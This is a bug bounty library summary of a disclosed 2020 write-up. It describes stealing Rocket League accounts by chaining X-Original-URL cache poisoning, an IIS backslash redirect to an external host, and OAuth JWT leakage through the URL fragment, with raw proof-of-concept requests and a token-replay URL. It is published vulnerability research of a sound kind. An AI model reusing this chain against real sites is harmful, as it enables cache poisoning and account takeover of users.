# Abusing HTTP Path Normalization and Cache Poisoning to steal Rocket League accounts

X-Original-URL cache poisoning on Rocket League's IIS/Varnish CDN combined with backslash redirect and OAuth JWT-in-fragment leak to steal accounts.

- Payout: Research
- Severity: high
- Program: Rocket League
- Write-up by: Sam Curry
- Disclosed: 2020-04-19
- Write-up quality: 8/10
- Original: https://samcurry.net/abusing-http-path-normalization-and-cache-poisoning-to-steal-rocket-league-accounts
- Library page: https://bugbountylibrary.com/r/blog%3Asamcurry-net-abusing-http-path-normalization-and-cache-poisoning-to-steal-rocket-league-accounts
- Tags: area:web domain:web impact:ato kind:research platform:research sev:high tech:jwt tech:oauth technique:chained technique:recon vuln:cache-poisoning vuln:host-header vuln:open-redirect

**Target:** www.rocketleague.com behind Varnish CDN and IIS, plus oauth2.rocketleague.com OAuth endpoint
**Root cause:** IIS honors the X-Original-URL header for routing while Varnish caches responses keyed on the original request URL, letting an attacker poison a cache entry to serve a redirect. IIS also collapses double slashes and accepts backslashes, enabling an external redirect via `https:\\attacker/`.
**Steps:**
1. Confirm caching via `Age`, `X-Cache: HIT, HIT`, `Via: 1.1 varnish` headers.
2. Verify X-Original-URL routing: `GET /?uniqueParameter=1` with `X-Original-URL: /this-will-return-404` returns 404.
3. Test backslash/double-slash behavior: `X-Original-URL: test//test\` returns `Location: test/test\`.
4. Poison cache: `GET /?pleaseWork=1` with `X-Original-URL: https:\\samcurry.net/please//work` returns `Location: https:\\samcurry.net/please/work`.
5. Send victim `https://oauth2.rocketleague.com/out?type=p&platform=twitch&return_to=https://www.rocketleague.com/?hacked=1%23&user_url=&error_url=` so they land on the poisoned URL with `#jwt=secret` appended.
6. Browser follows poisoned redirect to attacker domain, leaking the JWT fragment via JavaScript.
7. Replay stolen JWT at `https://www.rocketleague.com/tpnemesis/auth-login?jwt=secret` to take over the account.
**How found:** Started by intercepting game traffic in Wireshark (no HTTP), pivoted to web account management, probed the Twitch OAuth `/out` endpoint for hours, noticed `%23` becomes `#` in the path, then noticed cache headers and tested X-Original-URL routing, then experimented with control characters/backslashes in the header to bypass IIS host stripping.
**Exploitation:** Attacker poisons a unique cache key on www.rocketleague.com so it redirects to attacker-controlled host. Victim is lured through the OAuth `/out` endpoint with `return_to` pointing at the poisoned URL plus `%23` so the JWT lands in the fragment. Browser follows the redirect to attacker domain, JS reads `#jwt=`, and attacker logs in via auth-login endpoint.
**Escalation:** Chained three primitives: X-Original-URL cache poisoning, IIS backslash/double-slash redirect to external host, and OAuth JWT delivered in URL fragment (via `%23` trick) so it survives the redirect and is JS-readable.
**Insight:** When a CDN caches on the request URL but the origin routes on a header like X-Original-URL, any header-driven redirect becomes cacheable. Test backslashes and double slashes in such headers on IIS — they can turn a same-site redirect into an external one, and combine with fragment-carried tokens (`%23`) that survive redirects.

## Proof of concept (copied exactly from the original report)

**X-Original-URL cache poisoning redirect to external domain**

```
GET /?pleaseWork=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: https:\\samcurry.net/please//work


Response

Location: https:\\samcurry.net/please/work
```

**Full account-stealing URL chain**

```
https://oauth2.rocketleague.com/out?type=p&platform=twitch&return_to=https://www.rocketleague.com/?hacked=1%23&user_url=&error_url=


As they'd be redirected to...

Location: https://www.rocketleague.com/?hacked=1#&jwt=secret


Which would, once again, redirect them to...

Location: https:\\samcurry.net/*

* the browser would append #jwt=secret since it's a client side, JavaScript accessible value


Where we could access their accounts via loading the normal functionality of the following with the stolen JWT...

https://www.rocketleague.com/tpnemesis/auth-login?jwt=secret
```

**X-Original-URL header mapping to 404**

```
GET /?uniqueParameter=1 HTTP/1.1
Host: www.rocketleague.com
X-Original-URL: /this-will-return-404


Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
```

